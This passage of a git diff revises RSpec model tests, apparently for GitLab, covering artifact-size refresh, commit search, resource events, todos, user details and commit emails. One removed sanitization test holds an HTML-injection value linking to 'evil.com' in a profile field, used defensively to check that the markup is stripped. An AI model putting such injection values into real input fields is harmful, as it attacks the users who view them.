@@ -58,10 +67,7 @@ RSpec.describe Projects::BuildArtifactsSizeRefresh, type: :model do
let_it_be_with_reload(:refresh) do
create(
:project_build_artifacts_size_refresh,
- :created,
- updated_at: 2.days.ago,
- refresh_started_at: nil,
- last_job_artifact_id: nil
+ :created
)
end
@@ -70,8 +76,8 @@ RSpec.describe Projects::BuildArtifactsSizeRefresh, type: :model do
let(:statistics) { refresh.project.statistics }
before do
- stats = create(:project_statistics, project: refresh.project, build_artifacts_size: 120)
- stats.increment_counter(:build_artifacts_size, 30)
+ statistics.update!(build_artifacts_size: 120)
+ statistics.increment_counter(:build_artifacts_size, Gitlab::Counters::Increment.new(amount: 30))
end
it 'transitions the state to running' do
@@ -91,11 +97,11 @@ RSpec.describe Projects::BuildArtifactsSizeRefresh, type: :model do
end
it 'resets the build artifacts size stats' do
- expect { refresh.process! }.to change { statistics.build_artifacts_size }.to(0)
+ expect { refresh.process! }.to change { statistics.reload.build_artifacts_size }.from(120).to(0)
end
- it 'resets the counter attribute to zero' do
- expect { refresh.process! }.to change { statistics.counter(:build_artifacts_size).get }.to(0)
+ it 'resets the buffered counter value to zero' do
+ expect { refresh.process! }.to change { Gitlab::Counters::BufferedCounter.new(statistics, :build_artifacts_size).get }.to(0)
end
end
@@ -170,6 +176,22 @@ RSpec.describe Projects::BuildArtifactsSizeRefresh, type: :model do
expect { refresh.requeue!(last_job_artifact_id) }.to change { refresh.reload.last_job_artifact_id.to_i }.to(last_job_artifact_id)
end
end
+
+ describe '#schedule_finalize!' do
+ let!(:refresh) { create(:project_build_artifacts_size_refresh, :running) }
+
+ it 'transitions refresh state from running to finalizing' do
+ expect { refresh.schedule_finalize! }.to change { refresh.reload.state }.to(described_class::STATES[:finalizing])
+ end
+
+ it 'schedules Projects::FinalizeProjectStatisticsRefreshWorker' do
+ expect(Projects::FinalizeProjectStatisticsRefreshWorker)
+ .to receive(:perform_in)
+ .with(described_class::FINALIZE_DELAY, refresh.class.to_s, refresh.id)
+
+ refresh.schedule_finalize!
+ end
+ end
end
describe '.process_next_refresh!' do
@@ -210,6 +232,26 @@ RSpec.describe Projects::BuildArtifactsSizeRefresh, type: :model do
end
end
+ describe '#finalize!' do
+ let!(:refresh) { create(:project_build_artifacts_size_refresh, :finalizing) }
+
+ let(:statistics) { refresh.project.statistics }
+
+ before do
+ allow(statistics).to receive(:finalize_refresh)
+ end
+
+ it 'stores the refresh amount into the buffered counter' do
+ expect(statistics).to receive(:finalize_refresh).with(described_class::COUNTER_ATTRIBUTE_NAME)
+
+ refresh.finalize!
+ end
+
+ it 'destroys the refresh record' do
+ expect { refresh.finalize! }.to change { described_class.count }.by(-1)
+ end
+ end
+
describe '#next_batch' do
let!(:project) { create(:project) }
let!(:artifact_1) { create(:ci_job_artifact, project: project, created_at: 14.days.ago) }
diff --git a/spec/models/release_spec.rb b/spec/models/release_spec.rb
index 180a76ff593..5ed4eb7d233 100644
--- a/spec/models/release_spec.rb
+++ b/spec/models/release_spec.rb
@@ -86,6 +86,10 @@ RSpec.describe Release do
context 'when updating existing release without author' do
let(:release) { create(:release, :legacy) }
+ before do
+ stub_feature_flags(validate_release_with_author: false)
+ end
+
it 'updates successfully' do
release.description += 'Update'
diff --git a/spec/models/repository_spec.rb b/spec/models/repository_spec.rb
index 969a279dd52..a3d2f9a09fb 100644
--- a/spec/models/repository_spec.rb
+++ b/spec/models/repository_spec.rb
@@ -2,7 +2,7 @@
require 'spec_helper'
-RSpec.describe Repository do
+RSpec.describe Repository, feature_category: :source_code_management do
include RepoHelpers
before do
@@ -534,21 +534,48 @@ RSpec.describe Repository do
end
describe '#find_commits_by_message' do
- it 'returns commits with messages containing a given string' do
- commit_ids = repository.find_commits_by_message('submodule').map(&:id)
+ subject(:find_commits_by_message) { repository.find_commits_by_message(query) }
- expect(commit_ids).to include(
- '5937ac0a7beb003549fc5fd26fc247adbce4a52e',
- '6f6d7e7ed97bb5f0054f2b1df789b39ca89b6ff9',
- 'cfe32cf61b73a0d5e9f13e774abde7ff789b1660'
- )
+ let(:commit_ids) { find_commits_by_message.map(&:id) }
+ let(:query) { 'submodule' }
+ let(:expected_commit_ids) do
+ %w[
+ 5937ac0a7beb003549fc5fd26fc247adbce4a52e
+ 6f6d7e7ed97bb5f0054f2b1df789b39ca89b6ff9
+ cfe32cf61b73a0d5e9f13e774abde7ff789b1660
+ ]
+ end
+
+ it 'returns commits with messages containing a given string' do
+ expect(commit_ids).to include(*expected_commit_ids)
expect(commit_ids).not_to include('913c66a37b4a45b9769037c55c2d238bd0942d2e')
end
- it 'is case insensitive' do
- commit_ids = repository.find_commits_by_message('SUBMODULE').map(&:id)
+ context 'when query is in UPCASE' do
+ let(:query) { 'SUBMODULE' }
+
+ it 'is case insensitive' do
+ expect(commit_ids).to include(*expected_commit_ids)
+ end
+ end
+
+ context 'when message has surrounding spaces' do
+ let(:query) { ' submodule ' }
+
+ it 'removes spaces and returns commits by message' do
+ expect(commit_ids).to include(*expected_commit_ids)
+ expect(commit_ids).not_to include('913c66a37b4a45b9769037c55c2d238bd0942d2e')
+ end
+
+ context 'when feature flag "commit_search_trailing_spaces" is disabled' do
+ before do
+ stub_feature_flags(commit_search_trailing_spaces: false)
+ end
- expect(commit_ids).to include('5937ac0a7beb003549fc5fd26fc247adbce4a52e')
+ it 'returns an empty list' do
+ expect(commit_ids).to be_empty
+ end
+ end
end
describe 'when storage is broken', :broken_storage do
@@ -2691,12 +2718,26 @@ RSpec.describe Repository do
end
it 'caches the response' do
- expect(repository.head_tree).to receive(:readme_path).and_call_original.once
+ expect(repository).to receive(:search_files_by_regexp).and_call_original.once
2.times do
expect(repository.readme_path).to eq("README.md")
end
end
+
+ context 'when "readme_from_gitaly" FF is disabled' do
+ before do
+ stub_feature_flags(readme_from_gitaly: false)
+ end
+
+ it 'caches the response' do
+ expect(repository.head_tree).to receive(:readme_path).and_call_original.once
+
+ 2.times do
+ expect(repository.readme_path).to eq("README.md")
+ end
+ end
+ end
end
end
end
diff --git a/spec/models/resource_event_spec.rb b/spec/models/resource_event_spec.rb
new file mode 100644
index 00000000000..f40c192ab2b
--- /dev/null
+++ b/spec/models/resource_event_spec.rb
@@ -0,0 +1,19 @@
+# frozen_string_literal: true
+
+require 'spec_helper'
+
+RSpec.describe ResourceEvent, feature_category: :team_planing, type: :model do
+ let(:dummy_resource_label_event_class) do
+ Class.new(ResourceEvent) do
+ self.table_name = 'resource_label_events'
+ end
+ end
+
+ it 'raises error on not implemented `issuable` method' do
+ expect { dummy_resource_label_event_class.new.issuable }.to raise_error(NoMethodError)
+ end
+
+ it 'raises error on not implemented `synthetic_note_class` method' do
+ expect { dummy_resource_label_event_class.new.synthetic_note_class }.to raise_error(NoMethodError)
+ end
+end
diff --git a/spec/models/resource_label_event_spec.rb b/spec/models/resource_label_event_spec.rb
index 5087a8e8524..87f3b9fb2bb 100644
--- a/spec/models/resource_label_event_spec.rb
+++ b/spec/models/resource_label_event_spec.rb
@@ -2,7 +2,7 @@
require 'spec_helper'
-RSpec.describe ResourceLabelEvent, type: :model do
+RSpec.describe ResourceLabelEvent, feature_category: :team_planing, type: :model do
let_it_be(:project) { create(:project, :repository) }
let_it_be(:issue) { create(:issue, project: project) }
let_it_be(:merge_request) { create(:merge_request, source_project: project) }
@@ -15,6 +15,7 @@ RSpec.describe ResourceLabelEvent, type: :model do
it_behaves_like 'a resource event'
it_behaves_like 'a resource event for issues'
it_behaves_like 'a resource event for merge requests'
+ it_behaves_like 'a note for work item resource event'
describe 'associations' do
it { is_expected.to belong_to(:label) }
@@ -154,4 +155,19 @@ RSpec.describe ResourceLabelEvent, type: :model do
expect(event_1.discussion_id).not_to eq(event_2.discussion_id)
end
end
+
+ context 'with multiple label events' do
+ let_it_be(:user) { create(:user) }
+ let_it_be(:project) { create(:project) }
+ let_it_be(:work_item) { create(:work_item, :task, project: project, author: user) }
+ let_it_be(:events) { create_pair(:resource_label_event, issue: work_item) }
+
+ it 'builds synthetic note' do
+ first_event = events.first
+ synthetic_note = first_event.work_item_synthetic_system_note(events: events)
+
+ expect(synthetic_note.class.name).to eq(first_event.synthetic_note_class.name)
+ expect(synthetic_note.events).to match_array(events)
+ end
+ end
end
diff --git a/spec/models/resource_milestone_event_spec.rb b/spec/models/resource_milestone_event_spec.rb
index c1761e5b2e8..11b704ceadf 100644
--- a/spec/models/resource_milestone_event_spec.rb
+++ b/spec/models/resource_milestone_event_spec.rb
@@ -2,10 +2,11 @@
require 'spec_helper'
-RSpec.describe ResourceMilestoneEvent, type: :model do
+RSpec.describe ResourceMilestoneEvent, feature_category: :team_planing, type: :model do
it_behaves_like 'a resource event'
it_behaves_like 'a resource event for issues'
it_behaves_like 'a resource event for merge requests'
+ it_behaves_like 'a note for work item resource event'
it_behaves_like 'having unique enum values'
it_behaves_like 'timebox resource event validations'
diff --git a/spec/models/resource_state_event_spec.rb b/spec/models/resource_state_event_spec.rb
index f84634bd220..04e4359a3ff 100644
--- a/spec/models/resource_state_event_spec.rb
+++ b/spec/models/resource_state_event_spec.rb
@@ -2,7 +2,7 @@
require 'spec_helper'
-RSpec.describe ResourceStateEvent, type: :model do
+RSpec.describe ResourceStateEvent, feature_category: :team_planing, type: :model do
subject { build(:resource_state_event, issue: issue) }
let(:issue) { create(:issue) }
@@ -11,6 +11,7 @@ RSpec.describe ResourceStateEvent, type: :model do
it_behaves_like 'a resource event'
it_behaves_like 'a resource event for issues'
it_behaves_like 'a resource event for merge requests'
+ it_behaves_like 'a note for work item resource event'
describe 'validations' do
describe 'Issuable validation' do
diff --git a/spec/models/timelog_spec.rb b/spec/models/timelog_spec.rb
index f96d02e6a82..515057a862b 100644
--- a/spec/models/timelog_spec.rb
+++ b/spec/models/timelog_spec.rb
@@ -2,7 +2,7 @@
require 'spec_helper'
-RSpec.describe Timelog do
+RSpec.describe Timelog, feature_category: :team_planning do
subject { create(:timelog) }
let_it_be(:issue) { create(:issue) }
@@ -149,4 +149,30 @@ RSpec.describe Timelog do
end
end
end
+
+ describe 'sorting' do
+ let_it_be(:user) { create(:user) }
+ let_it_be(:timelog_a) { create(:issue_timelog, time_spent: 7200, spent_at: 1.hour.ago, user: user) }
+ let_it_be(:timelog_b) { create(:issue_timelog, time_spent: 5400, spent_at: 2.hours.ago, user: user) }
+ let_it_be(:timelog_c) { create(:issue_timelog, time_spent: 1800, spent_at: 30.minutes.ago, user: user) }
+ let_it_be(:timelog_d) { create(:issue_timelog, time_spent: 3600, spent_at: 1.day.ago, user: user) }
+
+ describe '.sort_by_field' do
+ it 'sorts timelogs by time spent in ascending order' do
+ expect(user.timelogs.sort_by_field('time_spent', :asc)).to eq([timelog_c, timelog_d, timelog_b, timelog_a])
+ end
+
+ it 'sorts timelogs by time spent in descending order' do
+ expect(user.timelogs.sort_by_field('time_spent', :desc)).to eq([timelog_a, timelog_b, timelog_d, timelog_c])
+ end
+
+ it 'sorts timelogs by spent at in ascending order' do
+ expect(user.timelogs.sort_by_field('spent_at', :asc)).to eq([timelog_d, timelog_b, timelog_a, timelog_c])
+ end
+
+ it 'sorts timelogs by spent at in descending order' do
+ expect(user.timelogs.sort_by_field('spent_at', :desc)).to eq([timelog_c, timelog_a, timelog_b, timelog_d])
+ end
+ end
+ end
end
diff --git a/spec/models/todo_spec.rb b/spec/models/todo_spec.rb
index 221f09dd87f..8669db4af16 100644
--- a/spec/models/todo_spec.rb
+++ b/spec/models/todo_spec.rb
@@ -175,6 +175,15 @@ RSpec.describe Todo do
end
describe '#target_reference' do
+ shared_examples 'returns full_path' do
+ specify do
+ subject.target = target
+ subject.action = Todo::MEMBER_ACCESS_REQUESTED
+
+ expect(subject.target_reference).to eq target.full_path
+ end
+ end
+
it 'returns commit full reference with short id' do
project = create(:project, :repository)
commit = project.commit
@@ -193,13 +202,10 @@ RSpec.describe Todo do
end
context 'when target is member access requested' do
- it 'returns group full path' do
- group = create(:group)
-
- subject.target = group
- subject.action = Todo::MEMBER_ACCESS_REQUESTED
-
- expect(subject.target_reference).to eq group.full_path
+ %i[project group].each do |target_type|
+ it_behaves_like 'returns full_path' do
+ let(:target) { create(target_type, :public) }
+ end
end
end
end
@@ -525,4 +531,46 @@ RSpec.describe Todo do
expect(described_class.for_internal_notes).to contain_exactly(todo)
end
end
+
+ describe '#access_request_url' do
+ shared_examples 'returns member access requests tab url/path' do
+ it 'returns group access requests tab url/path if target is group' do
+ group = create(:group)
+ subject.target = group
+
+ expect(subject.access_request_url(only_path: only_path)).to eq(Gitlab::Routing.url_helpers.group_group_members_url(group, tab: 'access_requests', only_path: only_path))
+ end
+
+ it 'returns project access requests tab url/path if target is project' do
+ project = create(:project)
+ subject.target = project
+
+ expect(subject.access_request_url(only_path: only_path)).to eq(Gitlab::Routing.url_helpers.project_project_members_url(project, tab: 'access_requests', only_path: only_path))
+ end
+
+ it 'returns empty string if target is neither group nor project' do
+ subject.target = issue
+
+ expect(subject.access_request_url(only_path: only_path)).to eq("")
+ end
+ end
+
+ context 'when only_path param is false' do
+ it_behaves_like 'returns member access requests tab url/path' do
+ let_it_be(:only_path) { false }
+ end
+ end
+
+ context 'when only_path param is nil' do
+ it_behaves_like 'returns member access requests tab url/path' do
+ let_it_be(:only_path) { nil }
+ end
+ end
+
+ context 'when only_path param is true' do
+ it_behaves_like 'returns member access requests tab url/path' do
+ let_it_be(:only_path) { true }
+ end
+ end
+ end
end
diff --git a/spec/models/user_detail_spec.rb b/spec/models/user_detail_spec.rb
index ed55aca49b7..1893b6530a5 100644
--- a/spec/models/user_detail_spec.rb
+++ b/spec/models/user_detail_spec.rb
@@ -68,26 +68,34 @@ RSpec.describe UserDetail do
end
end
- describe '.user_fields_changed?' do
- let(:user) { create(:user) }
-
- context 'when user detail fields unchanged' do
- it 'returns false' do
- expect(described_class.user_fields_changed?(user)).to be false
- end
-
- %i[linkedin location organization skype twitter website_url].each do |attr|
- context "when #{attr} is changed" do
- before do
- user[attr] = 'new value'
- end
-
- it 'returns true' do
- expect(described_class.user_fields_changed?(user)).to be true
- end
- end
+ describe '#save' do
+ let(:user_detail) do
+ create(:user_detail,
+ bio: 'bio',
+ linkedin: 'linkedin',
+ twitter: 'twitter',
+ skype: 'skype',
+ location: 'location',
+ organization: 'organization',
+ website_url: 'https://example.com')
+ end
+
+ shared_examples 'prevents `nil` value' do |attr|
+ it 'converts `nil` to the empty string' do
+ user_detail[attr] = nil
+ expect { user_detail.save! }
+ .to change { user_detail[attr] }.to('')
+ .and not_change { user_detail.attributes.except(attr.to_s) }
end
end
+
+ it_behaves_like 'prevents `nil` value', :bio
+ it_behaves_like 'prevents `nil` value', :linkedin
+ it_behaves_like 'prevents `nil` value', :twitter
+ it_behaves_like 'prevents `nil` value', :skype
+ it_behaves_like 'prevents `nil` value', :location
+ it_behaves_like 'prevents `nil` value', :organization
+ it_behaves_like 'prevents `nil` value', :website_url
end
describe '#sanitize_attrs' do
@@ -137,45 +145,4 @@ RSpec.describe UserDetail do
details.save!
end
end
-
- describe '#assign_changed_fields_from_user' do
- let(:user_detail) { build(:user_detail) }
-
- shared_examples 'syncs field with `user_details`' do |field|
- it 'does not sync the field to `user_details` if unchanged' do
- expect { user_detail.assign_changed_fields_from_user }
- .to not_change { user_detail.public_send(field) }
- end
-
- it 'syncs the field to `user_details` if changed' do
- user_detail.user[field] = "new_value"
- expect { user_detail.assign_changed_fields_from_user }
- .to change { user_detail.public_send(field) }
- .to("new_value")
- end
-
- it 'truncates the field if too long' do
- user_detail.user[field] = 'a' * (UserDetail::DEFAULT_FIELD_LENGTH + 1)
- expect { user_detail.assign_changed_fields_from_user }
- .to change { user_detail.public_send(field) }
- .to('a' * UserDetail::DEFAULT_FIELD_LENGTH)
- end
-
- it 'properly syncs nil field to `user_details' do
- user_detail.user[field] = 'Test'
- user_detail.user.save!(validate: false)
- user_detail.user[field] = nil
- expect { user_detail.assign_changed_fields_from_user }
- .to change { user_detail.public_send(field) }
- .to('')
- end
- end
-
- it_behaves_like 'syncs field with `user_details`', :linkedin
- it_behaves_like 'syncs field with `user_details`', :location
- it_behaves_like 'syncs field with `user_details`', :organization
- it_behaves_like 'syncs field with `user_details`', :skype
- it_behaves_like 'syncs field with `user_details`', :twitter
- it_behaves_like 'syncs field with `user_details`', :website_url
- end
end
diff --git a/spec/models/user_highest_role_spec.rb b/spec/models/user_highest_role_spec.rb
index 3ae672cf7f7..7ef04466b6f 100644
--- a/spec/models/user_highest_role_spec.rb
+++ b/spec/models/user_highest_role_spec.rb
@@ -8,7 +8,7 @@ RSpec.describe UserHighestRole do
end
describe 'validations' do
- it { is_expected.to validate_inclusion_of(:highest_access_level).in_array([nil, *Gitlab::Access.all_values]) }
+ it { is_expected.to validate_inclusion_of(:highest_access_level).in_array(Gitlab::Access.all_values).allow_nil }
end
describe 'scopes' do
diff --git a/spec/models/user_spec.rb b/spec/models/user_spec.rb
index 4dbcc68af19..e2e4e4248d8 100644
--- a/spec/models/user_spec.rb
+++ b/spec/models/user_spec.rb
@@ -2,7 +2,7 @@
require 'spec_helper'
-RSpec.describe User do
+RSpec.describe User, feature_category: :users do
include ProjectForksHelper
include TermsHelper
include ExclusiveLeaseHelpers
@@ -101,6 +101,24 @@ RSpec.describe User do
it { is_expected.to delegate_method(:requires_credit_card_verification).to(:user_detail).allow_nil }
it { is_expected.to delegate_method(:requires_credit_card_verification=).to(:user_detail).with_arguments(:args).allow_nil }
+
+ it { is_expected.to delegate_method(:linkedin).to(:user_detail).allow_nil }
+ it { is_expected.to delegate_method(:linkedin=).to(:user_detail).with_arguments(:args).allow_nil }
+
+ it { is_expected.to delegate_method(:twitter).to(:user_detail).allow_nil }
+ it { is_expected.to delegate_method(:twitter=).to(:user_detail).with_arguments(:args).allow_nil }
+
+ it { is_expected.to delegate_method(:skype).to(:user_detail).allow_nil }
+ it { is_expected.to delegate_method(:skype=).to(:user_detail).with_arguments(:args).allow_nil }
+
+ it { is_expected.to delegate_method(:website_url).to(:user_detail).allow_nil }
+ it { is_expected.to delegate_method(:website_url=).to(:user_detail).with_arguments(:args).allow_nil }
+
+ it { is_expected.to delegate_method(:location).to(:user_detail).allow_nil }
+ it { is_expected.to delegate_method(:location=).to(:user_detail).with_arguments(:args).allow_nil }
+
+ it { is_expected.to delegate_method(:organization).to(:user_detail).allow_nil }
+ it { is_expected.to delegate_method(:organization=).to(:user_detail).with_arguments(:args).allow_nil }
end
describe 'associations' do
@@ -148,6 +166,11 @@ RSpec.describe User do
it { is_expected.to have_many(:group_callouts).class_name('Users::GroupCallout') }
it { is_expected.to have_many(:project_callouts).class_name('Users::ProjectCallout') }
it { is_expected.to have_many(:created_projects).dependent(:nullify).class_name('Project') }
+ it { is_expected.to have_many(:user_achievements).class_name('Achievements::UserAchievement').inverse_of(:user) }
+ it { is_expected.to have_many(:awarded_user_achievements).class_name('Achievements::UserAchievement').with_foreign_key('awarded_by_user_id').inverse_of(:awarded_by_user) }
+ it { is_expected.to have_many(:revoked_user_achievements).class_name('Achievements::UserAchievement').with_foreign_key('revoked_by_user_id').inverse_of(:revoked_by_user) }
+ it { is_expected.to have_many(:achievements).through(:user_achievements).class_name('Achievements::Achievement').inverse_of(:users) }
+ it { is_expected.to have_many(:namespace_commit_emails).class_name('Users::NamespaceCommitEmail') }
describe 'default values' do
let(:user) { described_class.new }
@@ -160,7 +183,7 @@ RSpec.describe User do
it { expect(user.hide_no_password).to be_falsey }
it { expect(user.project_view).to eq('files') }
it { expect(user.notified_of_own_activity).to be_falsey }
- it { expect(user.preferred_language).to eq(I18n.default_locale.to_s) }
+ it { expect(user.preferred_language).to eq(Gitlab::CurrentSettings.default_preferred_language) }
it { expect(user.theme_id).to eq(described_class.gitlab_config.default_theme) }
end
@@ -169,17 +192,51 @@ RSpec.describe User do
expect(create(:user).user_detail).not_to be_persisted
end
- it 'creates `user_detail` when `bio` is given' do
- user = create(:user, bio: 'my bio')
+ shared_examples 'delegated field' do |field|
+ it 'creates `user_detail` when the field is given' do
+ user = create(:user, field => 'my field')
+
+ expect(user.user_detail).to be_persisted
+ expect(user.user_detail[field]).to eq('my field')
+ end
+
+ it 'delegates to `user_detail`' do
+ user = create(:user, field => 'my field')
+
+ expect(user.public_send(field)).to eq(user.user_detail[field])
+ end
+
+ it 'creates `user_detail` when first updated' do
+ user = create(:user)
+
+ expect { user.update!(field => 'my field') }.to change { user.user_detail.persisted? }.from(false).to(true)
+ end
+ end
+
+ it_behaves_like 'delegated field', :bio
+ it_behaves_like 'delegated field', :linkedin
+ it_behaves_like 'delegated field', :twitter
+ it_behaves_like 'delegated field', :skype
+ it_behaves_like 'delegated field', :location
+ it_behaves_like 'delegated field', :organization
+
+ it 'creates `user_detail` when `website_url` is given' do
+ user = create(:user, website_url: 'https://example.com')
expect(user.user_detail).to be_persisted
- expect(user.user_detail.bio).to eq('my bio')
+ expect(user.user_detail.website_url).to eq('https://example.com')
+ end
+
+ it 'delegates `website_url` to `user_detail`' do
+ user = create(:user, website_url: 'http://example.com')
+
+ expect(user.website_url).to eq(user.user_detail.website_url)
end
- it 'delegates `bio` to `user_detail`' do
- user = create(:user, bio: 'my bio')
+ it 'creates `user_detail` when `website_url` is first updated' do
+ user = create(:user)
- expect(user.bio).to eq(user.user_detail.bio)
+ expect { user.update!(website_url: 'https://example.com') }.to change { user.user_detail.persisted? }.from(false).to(true)
end
it 'delegates `pronouns` to `user_detail`' do
@@ -193,30 +250,24 @@ RSpec.describe User do
expect(user.pronunciation).to eq(user.user_detail.pronunciation)
end
-
- it 'creates `user_detail` when `bio` is first updated' do
- user = create(:user)
-
- expect { user.update!(bio: 'my bio') }.to change { user.user_detail.persisted? }.from(false).to(true)
- end
end
- describe '#abuse_report' do
+ describe '#abuse_reports' do
let(:current_user) { create(:user) }
let(:other_user) { create(:user) }
- it { is_expected.to have_one(:abuse_report) }
+ it { is_expected.to have_many(:abuse_reports) }
it 'refers to the abuse report whose user_id is the current user' do
abuse_report = create(:abuse_report, reporter: other_user, user: current_user)
- expect(current_user.abuse_report).to eq(abuse_report)
+ expect(current_user.abuse_reports.last).to eq(abuse_report)
end
it 'does not refer to the abuse report whose reporter_id is the current user' do
create(:abuse_report, reporter: current_user, user: other_user)
- expect(current_user.abuse_report).to be_nil
+ expect(current_user.abuse_reports.last).to be_nil
end
it 'does not update the user_id of an abuse report when the user is updated' do
@@ -436,18 +487,25 @@ RSpec.describe User do
end
describe 'preferred_language' do
- context 'when its value is nil in the database' do
- let(:user) { build(:user, preferred_language: nil) }
+ subject(:preferred_language) { user.preferred_language }
- it 'falls back to I18n.default_locale when empty in the database' do
- expect(user.preferred_language).to eq I18n.default_locale.to_s
- end
+ context 'when preferred_language is set' do
+ let(:user) { build(:user, preferred_language: 'de_DE') }
+
+ it { is_expected.to eq 'de_DE' }
+ end
+
+ context 'when preferred_language is nil' do
+ let(:user) { build(:user) }
- it 'falls back to english when I18n.default_locale is not an available language' do
- allow(I18n).to receive(:default_locale) { :kl }
- default_preferred_language = user.send(:default_preferred_language)
+ it { is_expected.to eq 'en' }
- expect(user.preferred_language).to eq default_preferred_language
+ context 'when Gitlab::CurrentSettings.default_preferred_language is set' do
+ before do
+ allow(::Gitlab::CurrentSettings).to receive(:default_preferred_language).and_return('zh_CN')
+ end
+
+ it { is_expected.to eq 'zh_CN' }
end
end
end
@@ -1230,17 +1288,6 @@ RSpec.describe User do
end
describe 'before save hook' do
- describe '#default_private_profile_to_false' do
- let(:user) { create(:user, private_profile: true) }
-
- it 'converts nil to false' do
- user.private_profile = nil
- user.save!
-
- expect(user.private_profile).to eq false
- end
- end
-
context 'when saving an external user' do
let(:user) { create(:user) }
let(:external_user) { create(:user, external: true) }
@@ -2675,7 +2722,7 @@ RSpec.describe User do
expect(user.can_create_group).to eq(Gitlab::CurrentSettings.can_create_group)
expect(user.theme_id).to eq(Gitlab.config.gitlab.default_theme)
expect(user.external).to be_falsey
- expect(user.private_profile).to eq(false)
+ expect(user.private_profile).to eq(Gitlab::CurrentSettings.user_defaults_to_private_profile)
end
end
@@ -3672,19 +3719,14 @@ RSpec.describe User do
describe '#sanitize_attrs' do
let(:user) { build(:user, name: 'test <& user', skype: 'test&user') }
- it 'encodes HTML entities in the Skype attribute' do
- expect { user.sanitize_attrs }.to change { user.skype }.to('test&amp;user')
- end
-
it 'does not encode HTML entities in the name attribute' do
expect { user.sanitize_attrs }.not_to change { user.name }
end
it 'sanitizes attr from html tags' do
- user = create(:user, name: '<a href="//example.com">Test<a>', twitter: '<a href="//evil.com">https://twitter.com<a>')
+ user = create(:user, name: '<a href="//example.com">Test<a>')
expect(user.name).to eq('Test')
- expect(user.twitter).to eq('https://twitter.com')
end
it 'sanitizes attr from js scripts' do
@@ -5253,36 +5295,16 @@ RSpec.describe User do
describe '#invalidate_issue_cache_counts' do
let(:user) { build_stubbed(:user) }
- before do
- stub_feature_flags(limit_assigned_issues_count: false)
- end
-
it 'invalidates cache for issue counter' do
cache_mock = double
expect(cache_mock).to receive(:delete).with(['users', user.id, 'assigned_open_issues_count'])
+ expect(cache_mock).to receive(:delete).with(['users', user.id, 'max_assigned_open_issues_count'])
allow(Rails).to receive(:cache).and_return(cache_mock)
user.invalidate_issue_cache_counts
end
-
- context 'when limit_assigned_issues_count is enabled' do
- before do
- stub_feature_flags(limit_assigned_issues_count: true)
- end
-
- it 'invalidates cache for issue counter' do
- cache_mock = double
-
- expect(cache_mock).to receive(:delete).with(['users', user.id, 'assigned_open_issues_count'])
- expect(cache_mock).to receive(:delete).with(['users', user.id, 'max_assigned_open_issues_count'])
-
- allow(Rails).to receive(:cache).and_return(cache_mock)
-
- user.invalidate_issue_cache_counts
- end
- end
end
describe '#invalidate_merge_request_cache_counts' do
@@ -5506,41 +5528,6 @@ RSpec.describe User do
end
end
- describe '#ensure_user_detail_assigned' do
- let(:user) { build(:user) }
-
- context 'when no user detail field has been changed' do
- before do
- allow(UserDetail)
- .to receive(:user_fields_changed?)
- .and_return(false)
- end
-
- it 'does not assign user details before save' do
- expect(user.user_detail)
- .not_to receive(:assign_changed_fields_from_user)
-
- user.save!
- end
- end
-
- context 'when a user detail field has been changed' do
- before do
- allow(UserDetail)
- .to receive(:user_fields_changed?)
- .and_return(true)
- end
-
- it 'assigns user details before save' do
- expect(user.user_detail)
- .to receive(:assign_changed_fields_from_user)
- .and_call_original
-
- user.save!
- end
- end
- end
-
describe '#username_changed_hook' do
context 'for a new user' do
let(:user) { build(:user) }
@@ -7429,4 +7416,84 @@ RSpec.describe User do
end
end
end
+
+ describe '#namespace_commit_email_for_project' do
+ let_it_be(:user) { create(:user) }
+
+ let(:emails) { user.namespace_commit_email_for_project(project) }
+
+ context 'when project is nil' do
+ let(:project) {}
+
+ it 'returns nil' do
+ expect(emails).to be(nil)
+ end
+ end
+
+ context 'with a group project' do
+ let_it_be(:root_group) { create(:group) }
+ let_it_be(:group) { create(:group, parent: root_group) }
+ let_it_be(:project) { create(:project, group: group) }
+
+ context 'without a defined root group namespace_commit_email' do
+ context 'without a defined project namespace_commit_email' do
+ it 'returns nil' do
+ expect(emails).to be(nil)
+ end
+ end
+
+ context 'with a defined project namespace_commit_email' do
+ it 'returns the defined namespace_commit_email' do
+ project_commit_email = create(:namespace_commit_email,
+ user: user,
+ namespace: project.project_namespace)
+
+ expect(emails).to eq(project_commit_email)
+ end
+ end
+ end
+
+ context 'with a defined root group namespace_commit_email' do
+ let_it_be(:root_group_commit_email) do
+ create(:namespace_commit_email, user: user, namespace: root_group)
+ end
+
+ context 'without a defined project namespace_commit_email' do
+ it 'returns the defined namespace_commit_email' do
+ expect(emails).to eq(root_group_commit_email)
+ end
+ end
+
+ context 'with a defined project namespace_commit_email' do
+ it 'returns the defined namespace_commit_email' do
+ project_commit_email = create(:namespace_commit_email,
+ user: user,
+ namespace: project.project_namespace)
+
+ expect(emails).to eq(project_commit_email)
+ end
+ end
+ end
+ end
+
+ context 'with personal project' do
+ let_it_be(:project) { create(:project, namespace: user.namespace) }
+
+ context 'without a defined project namespace_commit_email' do
+ it 'returns nil' do
+ expect(emails).to be(nil)
+ end
+ end
+
+ context 'with a defined project namespace_commit_email' do
+ it 'returns the defined namespace_commit_email' do
+ project_commit_email = create(:namespace_commit_email,
+ user: user,
+ namespace: project.project_namespace)
+
+ expect(emails).to eq(project_commit_email)
+ end
+ end
+ end
+ end
end
diff --git a/spec/models/users/namespace_commit_email_spec.rb b/spec/models/users/namespace_commit_email_spec.rb
index 696dac25f9b..23fed85ab3e 100644
--- a/spec/models/users/namespace_commit_email_spec.rb
+++ b/spec/models/users/namespace_commit_email_spec.rb
@@ -2,7 +2,7 @@
require 'spec_helper'
-RSpec.describe Users::NamespaceCommitEmail, type: :model do
+RSpec.describe Users::NamespaceCommitEmail, type: :model, feature_category: :source_code_management do
subject { build(:namespace_commit_email) }
describe 'associations' do
@@ -15,7 +15,39 @@ RSpec.describe Users::NamespaceCommitEmail, type: :model do
it { is_expected.to validate_presence_of(:user) }
it { is_expected.to validate_presence_of(:namespace) }
it { is_expected.to validate_presence_of(:email) }
+
+ it { is_expected.to validate_uniqueness_of(:user).scoped_to(:namespace_id) }
+
+ describe 'validate_root_group' do
+ let_it_be(:root_group) { create(:group) }
+
+ context 'when root group' do
+ subject { build(:namespace_commit_email, namespace: root_group) }
+
+ it { is_expected.to be_valid }
+ end
+
+ context 'when subgroup' do
+ subject { build(:namespace_commit_email, namespace: create(:group, parent: root_group)) }
+
+ it 'is invalid and reports the relevant error' do
+ expect(subject).to be_invalid
+ expect(subject.errors[:namespace]).to include('must be a root group.')
+ end
+ end
+ end
end
it { is_expected.to be_valid }
+
+ describe '.delete_for_namespace' do
+ let_it_be(:group) { create(:group) }
+
